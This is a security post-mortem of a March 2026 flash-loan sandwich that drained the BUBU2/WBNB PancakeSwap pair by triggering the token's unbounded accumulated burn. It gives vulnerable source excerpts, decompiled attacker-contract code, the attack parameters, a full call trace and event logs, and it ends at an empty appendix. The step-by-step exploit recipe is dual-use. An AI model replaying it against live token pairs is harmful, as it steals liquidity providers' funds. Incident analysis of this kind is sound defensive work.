BUBU2 Exploit — _triggerDailyBurnAndMint() Flash-Loan Sandwich

On March 1, 2026, the BUBU2/WBNB PancakeSwap pair on BNB Chain (block 83,955,808) was drained by flash-loan sandwiching a permissionlessly-triggerable burn mechanism inside the BUBU2 token contract.

The BUBU2 token has a function _triggerDailyBurnAndMint() designed to periodically burn a fixed percentage (0.5%) of the LP pair’s BUBU2 balance per interval. The mechanism accumulates missed intervals as rounds; when finally triggered, it burns rounds × 0.5% all at once and calls pair.sync() to commit the result. Critically, any non-exempt BUBU2 transfer can fire this function — there is no ownership check or caller restriction. The function had not been triggered for ~6.65 hours (199 rounds). The owner had changed TRIGGER_INTERVAL from the source-code default of 6 hours to 120 seconds at block 83,896,148 (~7.5 hours before the exploit); 199 × 120-second rounds = 23,951 seconds ≈ 6.65 hours of elapsed time. One trigger therefore burned 199 × 0.5% = 99.5% of the pair’s BUBU2 reserve in a single transaction.

The attacker wrapped this trigger atomically inside a flash loan: (1) borrowed 18.4 WBNB; (2) Swap 1: WBNB → BUBU2 (acquiring 18.7M BUBU2); (3) issued a 1000-wei BUBU2 self-transfer to fire _triggerDailyBurnAndMint(), which burned 1.292B BUBU2 directly from the pair and called pair.sync() — collapsing BUBU2 reserves from 1.299B to 6.49M while WBNB was untouched at 82.078; (4) Swap 2: remaining 18.7M BUBU2 → 50.576 WBNB at the now 200× inflated price; (5) repaid 18.4 WBNB. Net profit: **32.176 WBNB ($19,300 at ~$600/BNB)**.

The attacker’s EOA (0x000000006723cfa477656c08d08882d366c0e8fb) is whitelisted in the StakingRewardManager’s tx.origin access control, and the attack was executed through that contract as a ready-made wrapper. The DODO vault’s flashLoan is publicly callable (no access control — confirmed from verified VaultImplementation source), so any address could have executed the same exploit by calling the vault directly. The whitelist on StakingRewardManager is not the root vulnerability.

Root Cause

Attack Vehicle: StakingRewardManager

  • Name: StakingRewardManager
  • Address: 0x936eee4603751956db2e1b0fb13885a1176542df
  • Proxy status: Not a proxy
  • Source type: Decompiled bytecode (Dedaub decompiler), Solidity 0.8.24; no verified source on BSCScan

StakingRewardManager Interface (Decompiled)

The StakingRewardManager exposes 3 external functions plus a receive() fallback:

SelectorName / PurposeAccess Control
0x51cff8d9withdraw(address token) — drains all ERC-20 or ETH from the contracttx.origin whitelist (5 addresses)
0x35355acdEntry point — queries vault, initiates flash loan, orchestrates full reward flowtx.origin whitelist (5 addresses)
0x4af5bbcdInternal swap/reward processor — executes the round-trip swap and profit extractionNo access control (called by RewardDistributor callback)
receive()Accepts ETHNone

Hardcoded tx.origin whitelist (used by both withdraw and 0x35355acd):

0xb7da455fed1553c4639c4b29983d8538  (truncated, likely 20-byte address)
0xdd0412366388639b1101544fff2dce8d
0x6723cfa477656c08d08882d366c0e8fb  ← attacker's EOA
0x0a683dcf4bd9422dd2e9cf1f33c57ac5
0x0d328c0db3e50205fbeab34b756504a6

Note: The addresses appear truncated to 16 bytes in the decompilation. The attacker’s EOA is 0x000000006723cfa477656c08d08882d366c0e8fb (padded to 20 bytes), matching whitelist entry #3.

Vulnerable Contract: BUBU2 Token (0x3ff3f18b5c113fac5e81b43f80bf438b99edee52)

  • Source: Verified on BSCScan, Solidity 0.8.x
  • Vulnerable function: _triggerDailyBurnAndMint() (line 2705) called from _update() (line 2159)

Trigger site — _update() lines 2206–2217

Any non-exempt BUBU2 transfer invokes _update(). Inside it, the following block fires _triggerDailyBurnAndMint() without any caller restriction:

// BUBU2 token — _update() lines 2206-2217
// Triggered by the attacker's 1000-wei self-transfer (StakingRewardManager → StakingRewardManager)
if (
    !swapping &&
    !isTaxExempt[from] &&       // StakingRewardManager is NOT tax-exempt
    from != address(this) &&    // not the BUBU2 contract itself
    !pairs[from] &&             // not the LP pair
    !isAdd &&
    from != address(uniswapV2Router) &&
    burnAndMintSwitch           // was true at time of attack
) {
    swapping = true;
    _triggerDailyBurnAndMint(); // ← ANY qualifying transfer fires this
    swapping = false;
}

Vulnerable function — _triggerDailyBurnAndMint() lines 2705–2740

// BUBU2 token — lines 2701-2740
uint256 public lastTriggerTime = block.timestamp;
uint256 public TRIGGER_INTERVAL = 6 hours;  // SOURCE DEFAULT — owner changed this to 120 on-chain
// cast call BUBU2 "TRIGGER_INTERVAL()(uint256)" --block 83955807 → 120
// Owner called the setter at block 83,896,148 (~2026-02-28 17:21 UTC), ~7.5h before the exploit

function _triggerDailyBurnAndMint() internal {
    uint256 nowTime = block.timestamp;
    if (nowTime <= lastTriggerTime + TRIGGER_INTERVAL) {
        return;
    }

    // [FLAW 1] rounds accumulates unboundedly — no cap
    // At time of attack: TRIGGER_INTERVAL = 120s (not 6h); elapsed = 23,951s → rounds = 199
    uint256 rounds = (nowTime - lastTriggerTime) / TRIGGER_INTERVAL;
    lastTriggerTime += rounds * TRIGGER_INTERVAL;

    uint256 liquidityPairBalance = this.balanceOf(uniswapPair);
    if (liquidityPairBalance == 0) return;

    uint256 holdLPAwardRate = distributeRate; // 2000 (20%)
    // ...
    // [FLAW 2] burns rounds × 0.50% of the LP pair's BUBU2 balance, all at once
    // At attack: 199 × 0.50% = 99.5% of 1,298,670,511 BUBU2 = ~1,292,100,000 BUBU2
    uint256 blackAndLPAwardAmount = liquidityPairBalance
        .mul(BURN_BLACK_PERCENT.add(BURN_AWARD_PERCENT)) // 25 + 25 = 50
        .mul(rounds)                                      // × 199
        .div(BASE_PERCENT);                               // ÷ 10000

    uint256 holdLPAwardAmount = blackAndLPAwardAmount.mul(holdLPAwardRate).div(BASE_PERCENT);
    if (holdLPAwardAmount > 0) {
        // Directly debits uniswapPair's balance — bypasses normal transfer logic
        super._update(uniswapPair, address(lpAddress), holdLPAwardAmount); // → logs 11
    }
    uint256 blackAmount = blackAndLPAwardAmount.sub(holdLPAwardAmount);
    if (blackAmount > 0) {
        super._update(uniswapPair, BLACK_ADDRESS, blackAmount);            // → logs 12
    }

    emit TriggerDailyBurnAndMint(liquidityPairBalance, blackAmount, holdLPAwardAmount, rounds);

    // [FLAW 3] commits the gutted balance as the AMM's new canonical reserves
    IUniswapV2Pair(uniswapPair).sync(); // → Sync[log-14]: BUBU2=6,493,352 / WBNB=82.078
}

Constants (lines 1739–1741):

uint256 public constant BURN_AWARD_PERCENT = 25;   // 0.25% per round to LP holders
uint256 public constant BURN_BLACK_PERCENT = 25;   // 0.25% per round to 0xdead
uint256 public constant BASE_PERCENT       = 10000;

Attack vector — StakingRewardManager (0x936eee46..., decompiled)

The attacker used StakingRewardManager’s 0x4af5bbcd function as an execution wrapper. The critical step is Phase 3 — a 1000-wei BUBU2 self-transfer that fires _triggerDailyBurnAndMint():

// Decompiled from 0x936eee4603751956db2e1b0fb13885a1176542df (Dedaub)
// Internal function 0xb60 — called with (BUBU2, StakingRewardManager)
function _triggerTransfer(address token, address target) private {
    token.transfer(target, 1000);   // 1000 wei BUBU2, target = self (word7 param)
    // ↑ this transfer invokes BUBU2._update() → _triggerDailyBurnAndMint()
}

Additional Backdoor: withdraw(address token)

The decompiled code reveals a standalone withdraw function gated by the same tx.origin whitelist:

function withdraw(address token) external {
    require(
        tx.origin == WHITELIST_1 || tx.origin == WHITELIST_2 ||
        tx.origin == WHITELIST_3 || tx.origin == WHITELIST_4 ||
        tx.origin == WHITELIST_5,
        "!NA"  // Error(0x234e41) = "!NA" = Not Authorized
    );

    if (token != address(0)) {
        // Drain all ERC-20 tokens
        uint256 balance = IERC20(token).balanceOf(address(this));
        IERC20(token).transfer(tx.origin, balance);
    } else {
        // Drain all ETH
        // Uses 2300 gas stipend if balance is 0 (no-op), otherwise sends full balance
        (bool success,) = tx.origin.call{value: address(this).balance}("");
        require(success);
    }
}

This function allows any whitelisted tx.origin to drain all tokens and ETH from the contract at any time, confirming the contract was designed with privileged backdoor access.

Entry Point: 0x35355acd

The decompiled entry point reveals the full orchestration flow:

function executeRewardFlow(
    address rewardDistributor,  // varg0 — RewardDistributor contract
    address outputToken,         // varg1 — WBNB
    uint256 amountIn,           // varg2 — 18.4e18
    address router,             // varg3 — PancakeRouter
    address pair,               // varg4 — PancakeSwap pair
    address feeToken,           // varg5 — BUBU2
    uint256 loopCount,          // varg6 — 1
    address self,               // varg7 — StakingRewardManager
    uint256 feePercent          // varg8 — 5
) external {
    // 1. tx.origin whitelist check (same 5 addresses)
    require(isWhitelisted(tx.origin), "!NA");

    // 2. Record caller's initial outputToken balance
    uint256 beforeBalance = IERC20(outputToken).balanceOf(tx.origin);

    // 3. Query the RewardDistributor for vault info
    // staticcall: rewardDistributor.0x99b76963(outputToken, amountIn, pair)
    // Returns: (vaultAddress, someFlag)
    (address vault, bool flag) = IRewardDistributor(rewardDistributor)
        .queryVault(outputToken, amountIn, pair);

    // 4. Build the packed struct for 0x4af5bbcd and call the RewardDistributor
    // Encodes: 0x1a94cd12(flag, vault, amountIn, outputToken, <packed struct>)
    // This triggers: vault.flashLoan → DPPFlashLoanCall → 0x4af5bbcd
    IRewardDistributor(rewardDistributor).executeReward(
        flag, vault, amountIn, outputToken, packedParams
    );

    // 5. Calculate and return profit
    uint256 afterBalance = IERC20(outputToken).balanceOf(tx.origin);
    uint256 profit = afterBalance - beforeBalance;  // checked sub (0.8.24)
    return (profit, profit);  // returns 2 values
}

Why It’s Vulnerable

Root vulnerability: _triggerDailyBurnAndMint() is permissionlessly triggerable and accumulates burn debt without bound

The BUBU2 token (0x3ff3f18b...) contains the following function, called inside every non-exempt _update() when burnAndMintSwitch == true:

// Source: 0x3ff3f18b5c113fac5e81b43f80bf438b99edee52.sol, line 2705
function _triggerDailyBurnAndMint() internal {
    if (nowTime <= lastTriggerTime + TRIGGER_INTERVAL) return;  // cooldown guard

    // KEY FLAW 1: rounds accumulates unboundedly
    // TRIGGER_INTERVAL was 120s at exploit time (changed from 6h default by owner)
    uint256 rounds = (nowTime - lastTriggerTime) / TRIGGER_INTERVAL;
    lastTriggerTime += rounds * TRIGGER_INTERVAL;

    uint256 liquidityPairBalance = this.balanceOf(uniswapPair);

    // KEY FLAW 2: burns rounds * 0.5% of pair's BUBU2 directly, in one shot
    uint256 blackAndLPAwardAmount = liquidityPairBalance
        .mul(BURN_BLACK_PERCENT.add(BURN_AWARD_PERCENT))  // 25 + 25 = 50
        .mul(rounds)
        .div(BASE_PERCENT);  // 10000
    // → super._update(uniswapPair, lpAddress, holdLPAwardAmount)  debits FROM THE PAIR
    // → super._update(uniswapPair, BLACK_ADDRESS, blackAmount)     debits FROM THE PAIR

    // KEY FLAW 3: commits the manipulated reserves into the AMM
    IUniswapV2Pair(uniswapPair).sync();
}

Why each flaw matters in isolation and together:

Flaw 1 — Unbounded rounds accumulation: The function is designed to burn 0.5% of the pair’s BUBU2 per interval. But it catches up all missed intervals at once. Here, _triggerDailyBurnAndMint() had not been called for ~6.65 hours (199 rounds). The source code declares TRIGGER_INTERVAL = 6 hours, but TRIGGER_INTERVAL is a mutable public variable — the owner called its setter to change it to 120 seconds at block 83,896,148 (2026-02-28 17:21 UTC), approximately 7.5 hours before the exploit. Verified: cast call 0x3ff3f18b... "TRIGGER_INTERVAL()(uint256)" --block 83955807 returns 120. With lastTriggerTime = 1772302202 (2026-02-28 18:10:02 UTC) and the exploit block timestamp 1772326153 (2026-03-01 00:49:13 UTC), elapsed = 23,951s; 23951 ÷ 120 = 199 rounds. One trigger therefore burned 199 × 0.5% = 99.5% of the pair’s 1.299B BUBU2 in a single transaction. Note: if the interval had remained at 6 hours, only 1 round would have accumulated in the same period — the owner’s modification was the direct enabler of the large burn magnitude.

Owner action — TRIGGER_INTERVAL setter: The BUBU2 source contains a privileged setter TRIGGER_INTERVAL = _tigger (line 2942) that allows the contract owner to change the burn interval at will. The owner called this function at block 83,896,148 (2026-02-28 17:21 UTC), reducing the interval from 21,600 seconds (6 hours) to 120 seconds, approximately 7.5 hours before the exploit. Verified by binary-searching cast call results: block 83,895,508 still returns 21600; block 83,896,148 already returns 120. This timing is highly suspicious — shrinking the interval to 2 minutes ensured that the maximum possible rounds (199) would accumulate within a normal trading window, making the attack dramatically more profitable. Without this change, the same flash-loan sandwich against a 6-hour interval would have yielded only 1 round (0.5% burn, negligible price impact). The owner of the BUBU2 contract either performed the exploit themselves or enabled it for a third party.

Flaw 2 — Caller unrestricted: The trigger fires on any non-exempt BUBU2 transfer — including a 1000-wei self-transfer from StakingRewardManager. There is no onlyOwner, no onlyBot, no EOA allowlist on the trigger path. The check in _update() is:

if (!swapping && !isTaxExempt[from] && from != address(this) &&
    !pairs[from] && !isAdd && from != address(uniswapV2Router) && burnAndMintSwitch) {
    _triggerDailyBurnAndMint();
}

The attacker satisfies all conditions trivially with any ordinary BUBU2 transfer.

Flaw 3 — No flash-loan protection: sync() after the burn locks the manipulated reserve ratio permanently (within the transaction). Combined with the flash loan, the attacker controls the exact moment the burn fires — sandwiching it between a buy (Swap 1) and a sell (Swap 2) atomically.

Quantified impact in this transaction:

PhaseActionResult
Swap 118.4 WBNB → BUBU2 (fee-on-transfer: 95% burn on receipt, 5% arrives)Attacker receives 18.7M BUBU2; pair: 1.299B BUBU2, 82.078 WBNB
1000-wei self-transfer → _triggerDailyBurnAndMint() (199 rounds)Burns 99.5% of pair’s BUBU2, calls pair.sync()Sync[14]: 6.49M BUBU2, 82.078 WBNB (WBNB untouched)
Auto-sell hook (post-transfer)935K accumulated fee BUBU2 → pair → 10.316 WBNB extractedSync[24]: 7.43M BUBU2, 71.76 WBNB
Swap 218.7M BUBU2 → WBNB at inflated price50.576 WBNB received
Repay + profit18.4 WBNB to vault32.176 WBNB net profit

Note on fee-on-transfer in Swap 1: The 95% burn on the swap output (fee-on-transfer mechanism) does reduce what the attacker receives. However, this is not what collapses the LP reserves — the reserve collapse is entirely driven by _triggerDailyBurnAndMint(). The fee-on-transfer is simply a property of the token the attacker chose to use as the swap vehicle.

Pair reserve timeline (all four Sync events confirmed from receipt):

Sync log indexBUBU2 reserveWBNB reserveCause
91,298,670,51182.078Swap 1 pair _update
146,493,35282.078_triggerDailyBurnAndMint() burns 1.292B BUBU2 from pair (logs 11–12); WBNB unchanged
247,429,14571.762Post-transfer auto-sell: 935K BUBU2 → pair, 10.316 WBNB extracted
2925,209,20821.186Swap 2 pair _update

Price ratio shift (Sync[9] → Sync[14]): 82.078 / 1,298,670,51182.078 / 6,493,352 = ~200× increase in WBNB per BUBU2, with zero WBNB moved. This is the core price manipulation.

Why permissionless: The DODO vault’s flashLoan(baseAmount, quoteAmount, assetTo, data) is external preventReentrant with no access control (verified from 0x85351262... source). Any address can borrow 18.4 WBNB, execute the sandwich, and repay — without touching the StakingRewardManager.

Attack Execution

High-Level Flow

  1. Attacker EOA (0x00000000672...) calls the attack entry contract with 0.1 BNB and parameters specifying the BUBU2 token, PancakeSwap pair, and StakingRewardManager addresses
  2. Attack contract records attacker’s WBNB balance (before), then calls StakingRewardManager’s whitelisted entry function (0x35355acd)
  3. StakingRewardManager calls RewardDistributor to query the DODO vault, then calls 0x1a94cd12
  4. RewardDistributor triggers the vault proxy’s publicly callable flashLoan(18.4e18, 0, self, data), borrowing 18.4 WBNB
  5. Vault sends 18.4 WBNB to RewardDistributor and calls back via DPPFlashLoanCall
  6. RewardDistributor forwards 18.4 WBNB to StakingRewardManager and calls 0x4af5bbcd
  7. StakingRewardManager swaps 18.4 WBNB → BUBU2 via PancakeRouter; only 18.7M BUBU2 (5%) arrives (95% burned by fee-on-transfer). Pair Sync[9]: 1.299B BUBU2, 82.078 WBNB
  8. rescueToken attempted with 5% of BUBU2 balance (reverts silently — onlyOwner)
  9. 1000-wei BUBU2 self-transfer (StakingRewardManager → StakingRewardManager, loopCount=1):
    • Phase A pre-transfer hook: BUBU2 contract burns 266.2M + 1,025.9M BUBU2 directly from the pairpair.sync()Sync[14]: 6.49M BUBU2, 82.078 WBNB (99.5% BUBU2 collapse; WBNB untouched)
    • Actual 1000-wei transfer completes
    • Phase B post-transfer hook: BUBU2 auto-sell: 935K BUBU2 → pair, 10.316 WBNB extracted → pair.sync()Sync[24]: 7.43M BUBU2, 71.76 WBNB
  10. StakingRewardManager swaps all 18.7M BUBU2 → WBNB at the ~152.8× inflated price, receiving 50.576 WBNB (Swap 2)
  11. require(50.576 > 18.4 + minProfit, "!NR") passes; 18.4 WBNB repaid to vault; 32.176 WBNB profit sent to tx.origin (attacker EOA directly)

Attack Parameters (from decompiled code)

0x35355acd(
    rewardDistributor  = 0xaeee14be...,  // varg0
    outputToken (WBNB)  = 0xbb4CdB9...,  // varg1
    amountIn           = 18.4e18,         // varg2
    router             = PancakeRouter,   // varg3
    pair               = 0x774547ea...,   // varg4
    feeToken (BUBU2)   = 0x3ff3f1...,     // varg5
    loopCount          = 1,               // varg6
    self               = StakingRewardMgr,// varg7
    feePercent         = 5                // varg8
)

Detailed Call Trace

EOA (0x00000000672...) --CALL(0.1 BNB)--> AttackerEntry (0xcf17fd...)
  |-- STATICCALL --> WBNB.balanceOf(attacker_EOA) [record before-balance]
  |-- CALL --> StakingRewardManager.0x35355acd(
  |     RewardDistributor, WBNB, 18.4e18, PancakeRouter, Pair, BUBU2, 1, self, 5)
  |   |-- STATICCALL --> WBNB.balanceOf(attacker_EOA) [verification]
  |   |-- STATICCALL --> RewardDistributor.0x99b76963(WBNB, 18.4e18, Pair)
  |   |   |-- STATICCALL --> WBNB.balanceOf(VaultProxy) [returns 284.06 WBNB]
  |   |-- CALL --> RewardDistributor.0x1a94cd12(0, VaultProxy, 18.4e18, WBNB, ...)
  |   |   |-- STATICCALL --> VaultProxy._BASE_TOKEN_() [DELEGATECALL -> VaultImpl] => WBNB
  |   |   |-- CALL --> VaultProxy.flashLoan(18.4e18, 0, RewardDistributor, data)
  |   |   |   |-- [DELEGATECALL -> VaultImpl.flashLoan]
  |   |   |   |-- CALL --> WBNB.transfer(RewardDistributor, 18.4e18) [flash loan disbursement]
  |   |   |   |-- CALL --> RewardDistributor.DPPFlashLoanCall(RewardDistributor, 18.4e18, 0, data)
  |   |   |   |   |-- STATICCALL --> VaultProxy._BASE_TOKEN_() => WBNB
  |   |   |   |   |-- CALL --> WBNB.transfer(StakingRewardManager, 18.4e18)
  |   |   |   |   |-- CALL --> StakingRewardManager.0x4af5bbcd(data)
  |   |   |   |   |   |
  |   |   |   |   |   |-- [PHASE 1: SWAP — WBNB -> BUBU2]
  |   |   |   |   |   |-- Internal 0xa9c: pre-swap function
  |   |   |   |   |   |-- STATICCALL --> WBNB.allowance(self, PancakeRouter) => max
  |   |   |   |   |   |-- CALL --> PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
  |   |   |   |   |   |     18.4e18, 0, [WBNB,BUBU2], self, deadline)
  |   |   |   |   |   |   |-- CALL --> WBNB.transferFrom(StakingRewardMgr, Pair, 18.4e18)
  |   |   |   |   |   |   |-- STATICCALL --> BUBU2.balanceOf(StakingRewardMgr) => 0
  |   |   |   |   |   |   |-- STATICCALL --> Pair.getReserves()
  |   |   |   |   |   |   |-- STATICCALL --> WBNB.balanceOf(Pair)
  |   |   |   |   |   |   |-- CALL --> Pair.swap(374317120e18 BUBU2, 0, StakingRewardMgr, "")
  |   |   |   |   |   |   |   |-- CALL --> BUBU2.transfer(StakingRewardMgr, 374317120e18)
  |   |   |   |   |   |   |   |   |-- [FeeToken _update triggers]:
  |   |   |   |   |   |   |   |   |-- Transfer 355.6M BUBU2 to 0xdead (burn)
  |   |   |   |   |   |   |   |   |-- Transfer 18.7M BUBU2 to StakingRewardMgr (actual receipt)
  |   |   |   |   |   |   |   |   |-- Transfer 266.2M BUBU2 to 0xdde4... (referral/tax)
  |   |   |   |   |   |   |   |   |-- Transfer 1025.9M BUBU2 to 0xdead (burn #2)
  |   |   |   |   |   |   |   |   |-- [Pair.getReserves, token0, etc. queries]
  |   |   |   |   |   |   |   |   |-- [NO sync() called during this transfer]
  |   |   |   |   |   |
  |   |   |   |   |   |-- [PHASE 2: RESCUE TOKEN ATTEMPT]
  |   |   |   |   |   |-- STATICCALL --> BUBU2.balanceOf(self) => 18.7M BUBU2
  |   |   |   |   |   |-- rescueAmount = 18.7M * 5 / 100 = 935,000 BUBU2
  |   |   |   |   |   |-- CALL --> BUBU2.rescueToken(BUBU2, 935000) [REVERTS - onlyOwner]
  |   |   |   |   |   |
  |   |   |   |   |   |-- [PHASE 3: TRIGGER LOOP (loopCount=1)]
  |   |   |   |   |   |-- Internal 0xb60: BUBU2.transfer(StakingRewardManager, 1000)
  |   |   |   |   |   |   [word7=self, so target is StakingRewardManager itself — confirmed log 17]
  |   |   |   |   |   |-- CALL --> BUBU2.transfer(StakingRewardManager, 1000)
  |   |   |   |   |   |   |
  |   |   |   |   |   |   |-- [PHASE A: BUBU2 PRE-TRANSFER HOOK] ← CRITICAL ROOT CAUSE
  |   |   |   |   |   |   |-- CALL --> Pair.transfer(0xdde4..., 266.2M BUBU2) [log 11]
  |   |   |   |   |   |   |   [BUBU2 hook DEBITS 266.2M BUBU2 DIRECTLY FROM PAIR]
  |   |   |   |   |   |   |-- CALL --> Pair.transfer(0xdead, 1,025.9M BUBU2)  [log 12]
  |   |   |   |   |   |   |   [BUBU2 hook DEBITS 1,025.9M BUBU2 DIRECTLY FROM PAIR]
  |   |   |   |   |   |   |-- CALL --> Pair.sync()  [Sync log-14]
  |   |   |   |   |   |   |   |-- Pair BUBU2: 1,298,670,511 → 6,493,352 (99.5% drop)
  |   |   |   |   |   |   |   |-- Pair WBNB: 82.078 → 82.078 (UNCHANGED — no WBNB moved)
  |   |   |   |   |   |   |
  |   |   |   |   |   |   |-- [Actual 1000-wei transfer executes] ← log 17
  |   |   |   |   |   |   |
  |   |   |   |   |   |   |-- [PHASE B: BUBU2 POST-TRANSFER HOOK]
  |   |   |   |   |   |   |-- Custom event 0xf8952d... emitted (logs attacker EOA in data)
  |   |   |   |   |   |   |-- CALL → StakingRewardManager sends 935,792 BUBU2 to BUBU2 contract
  |   |   |   |   |   |   |-- BUBU2 contract → Pair: 935,792 BUBU2 (sell)
  |   |   |   |   |   |   |-- Pair → fee recipient: 10.316 WBNB
  |   |   |   |   |   |   |-- CALL --> Pair.sync()  [Sync log-24]
  |   |   |   |   |   |   |   |-- Pair BUBU2: 6,493,352 + 935,792 = 7,429,145
  |   |   |   |   |   |   |   |-- Pair WBNB: 82.078 − 10.316 = 71.762
  |   |   |   |   |   |
  |   |   |   |   |   |-- [PHASE 4: SWAP BACK — BUBU2 -> WBNB at inflated price]
  |   |   |   |   |   |-- STATICCALL --> BUBU2.balanceOf(self) => 18.7M BUBU2
  |   |   |   |   |   |-- CALL --> BUBU2.approve(PancakeRouter, max)
  |   |   |   |   |   |-- CALL --> PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
  |   |   |   |   |   |     18.7M BUBU2, 0, [BUBU2,WBNB], self, deadline)
  |   |   |   |   |   |   |-- Pair sends 50.576 WBNB to StakingRewardManager
  |   |   |   |   |   |
  |   |   |   |   |   |-- [PHASE 5: PROFIT CHECK + DISTRIBUTION]
  |   |   |   |   |   |-- STATICCALL --> WBNB.balanceOf(self) => 50.576 WBNB
  |   |   |   |   |   |-- require(50.576 > 18.4 + minProfit, "!NR")
  |   |   |   |   |   |-- CALL --> WBNB.transfer(recipient, 18.4e18) [repay flash loan]
  |   |   |   |   |   |-- CALL --> WBNB.transfer(tx.origin, 32.176e18) [profit to attacker!]
  |   |   |   |   |
  |   |   |   |-- [VaultImpl.flashLoan balance check]
  |   |   |   |-- STATICCALL --> WBNB.balanceOf(VaultProxy) => same as before (repaid)
  |
  |-- STATICCALL --> WBNB.balanceOf(attacker_EOA) [record after-balance]
  |-- CALL(0.1 BNB) --> 0x1266c6be... [fee payment]

Financial Impact

  • Total profit: 32.176 WBNB (~$19,306 at $600/BNB)
  • Gross WBNB from exploit: 50.576 WBNB received from the second swap
  • Flash loan repaid: 18.4 WBNB returned to vault (vault is whole)
  • Fee paid: 0.1 BNB to 0x1266c6be60392a8ff346e8d5eccd3e69dd9c5f20
  • Gas cost: ~0.0000315 BNB (negligible)
  • Net attacker profit: 32.076 WBNB ($19,246)

Who lost funds: The PancakeSwap BUBU2/WBNB liquidity pair (0x774547ea...) bore the entire loss. Its net change was -42.49 WBNB and -1,647,778,423 BUBU2. The vault proxy was made whole (net 0 WBNB change). The StakingRewardManager and RewardDistributor also ended with net 0 change — they were merely conduits.

PancakeSwap Router fee extraction: During the BUBU2 token’s internal sell tax logic (triggered during the 1000-wei transfer), 10.316 WBNB was extracted from the pair and sent to address 0x3758df1f78fe7a0c7f1f4d97b9e4f7678fd9e617 (the token’s fee recipient). This is part of the BUBU2 token’s normal fee mechanism but contributed to the pair’s losses.

Protocol solvency: The DODO-style vault remains solvent (the flash loan was fully repaid). The BUBU2/WBNB PancakeSwap pair was significantly drained of WBNB liquidity.

Evidence

Receipt status: Transaction succeeded (block 0x5011060, tx index 0x1).

Key Transfer events (WBNB, token 0xbb4CdB9...):

  • Log 0: VaultProxy → RewardDistributor: 18.4 WBNB (flash loan disbursement)
  • Log 1: RewardDistributor → StakingRewardManager: 18.4 WBNB (forwarded)
  • Log 2: StakingRewardManager → Pair: 18.4 WBNB (first swap input)
  • Log 23: Pair → PancakeRouter: 10.316 WBNB (fee token’s sell tax extraction)
  • Log 28: Pair → StakingRewardManager: 50.576 WBNB (second swap output)
  • Log 31: StakingRewardManager → VaultProxy: 18.4 WBNB (flash loan repayment)
  • Log 32: StakingRewardManager → Attacker EOA: 32.176 WBNB (profit)

Key Transfer events (BUBU2, token 0x3ff3f1...):

  • Log 7: Pair → 0xdead: 355.6M BUBU2 (fee-on-transfer burn during Swap 1 output)
  • Log 8: Pair → StakingRewardManager: 18.7M BUBU2 (5% of swap output actually arrives)
  • Log 11: Pair → 0xdde4…: 266.2M BUBU2 ← BUBU2 pre-transfer hook directly debits from pair
  • Log 12: Pair → 0xdead: 1,025.9M BUBU2 ← BUBU2 pre-transfer hook directly debits from pair
  • Log 14 (Sync): BUBU2=6,493,352 / WBNB=82.078 ← reserves locked after pre-transfer burns
  • Log 17: StakingRewardManager → StakingRewardManager: 1000 wei BUBU2 (self-transfer, word7=self)
  • Log 21: StakingRewardManager → BUBU2 contract: 935,792 BUBU2 (post-transfer auto-sell phase)
  • Log 22: BUBU2 contract → Pair: 935,792 BUBU2 (auto-sell sends BUBU2 to pair)
  • Log 24 (Sync): BUBU2=7,429,145 / WBNB=71.762 ← reserves after auto-sell extracts WBNB
  • Log 27: StakingRewardManager → Pair: 17.78M BUBU2 (Swap 2 input)

Pair reserve timeline (all four Sync events confirmed from receipt):

Sync log indexBUBU2 reserveWBNB reserveCause
91,298,670,51182.078Swap 1 pair _update
146,493,35282.078BUBU2 pre-transfer hook burns 1.29B from pair (logs 11–12)
247,429,14571.762BUBU2 auto-sell extracts 10.316 WBNB (logs 21–22)
2925,209,20821.186Swap 2 pair _update

Price ratio shift: 82.078/1,298,670,511 → 71.762/7,429,145 = ~152.8× increase in WBNB per BUBU2

Note on two-Sync collapse: The previous report version described a single sync event collapsing reserves from 1.298B to 7.43M. The receipt reveals two consecutive Syncs: Sync[14] (pre-transfer hook burning 1.29B BUBU2 from pair, WBNB unchanged) and Sync[24] (auto-sell extracting 10.316 WBNB). The WBNB reserve is depleted only in the second Sync, not the first.

Selector verification:

  • 0xd0a494e4 = flashLoan(uint256,uint256,address,bytes) — confirmed via VaultImplementation ABI
  • 0x4a248d2a = _BASE_TOKEN_() — confirmed via VaultImplementation ABI
  • 0x7ed1f1dd = DPPFlashLoanCall(address,uint256,uint256,bytes) — confirmed via 4byte directory
  • 0x5c11d795 = swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256,uint256,address[],address,uint256) — PancakeRouter standard
  • 0xfff6cae9 = sync() — PancakeSwap pair standard
  • 0x33f3d628 = rescueToken(address,uint256) — found in decompiled bytecode
  • 0x35355acd, 0x4af5bbcd, 0x99b76963, 0x1a94cd12 — unresolved (unverified contracts)

Analysis Cross-Check: TenArmor vs. Initial Report

A third-party analysis (TenArmorAlert) was published characterizing this incident. Cross-checking against on-chain evidence:

ClaimTenArmorInitial reportVerdict
Root cause is BUBU2 token logic✅ “token logic flaw”❌ “Privileged Insider / Compromised Key”TenArmor correct — root cause is _triggerDailyBurnAndMint()
Flash loan is public✅ “public flash loan”❌ Implied restricted via whitelistTenArmor correctflashLoan is external preventReentrant, no ACL
No private key required✅ “not a private key leak”❌ Classified as insiderTenArmor correct — exploit is permissionless
Routine debits BUBU2 from LP pair + calls sync()✅ Correct direction❌ Attributed to “fee-on-transfer”TenArmor correct — it is _triggerDailyBurnAndMint() debiting from the pair, confirmed by Sync[14] (BUBU2 −99.5%, WBNB unchanged)
“Daily burn/mint routine”✅ Named correctly❌ Not identifiedTenArmor correct_triggerDailyBurnAndMint() is the exact function; event TriggerDailyBurnAndMint is in the source
Rounds accumulation (6.65 hours at 120s interval → 199 rounds → 99.5% burn)❌ Not quantified❌ Not identifiedBoth missed — this is the precise amplifier; owner changed TRIGGER_INTERVAL from 6h to 120s at block 83,896,148, ~7.5h before the exploit
Attacker EOA whitelisted on StakingRewardManager❌ Not mentioned✅ Confirmed from decompiled bytecodeInitial report correct (factual, though not required for exploit)
Two distinct Sync events (Sync[14] WBNB-flat, Sync[24] WBNB-drops)❌ Not detailed❌ Conflated into oneBoth missed — Sync[14] is pure _triggerDailyBurnAndMint(), Sync[24] is auto-sell

Summary: TenArmor correctly identified the class of vulnerability (BUBU2 token logic, permissionless, LP debit + sync). The precise root cause is _triggerDailyBurnAndMint() firing 199 accumulated rounds in one flash-loan sandwich — something neither analysis fully articulated until cross-referencing the verified source against the four Sync events in the receipt.

Appendix: Decompiled Contract Internal Functions

The following helper functions were identified in the decompiled bytecode, confirming the contract’s mechanical behavior:

Internal IDReconstructed NamePurpose
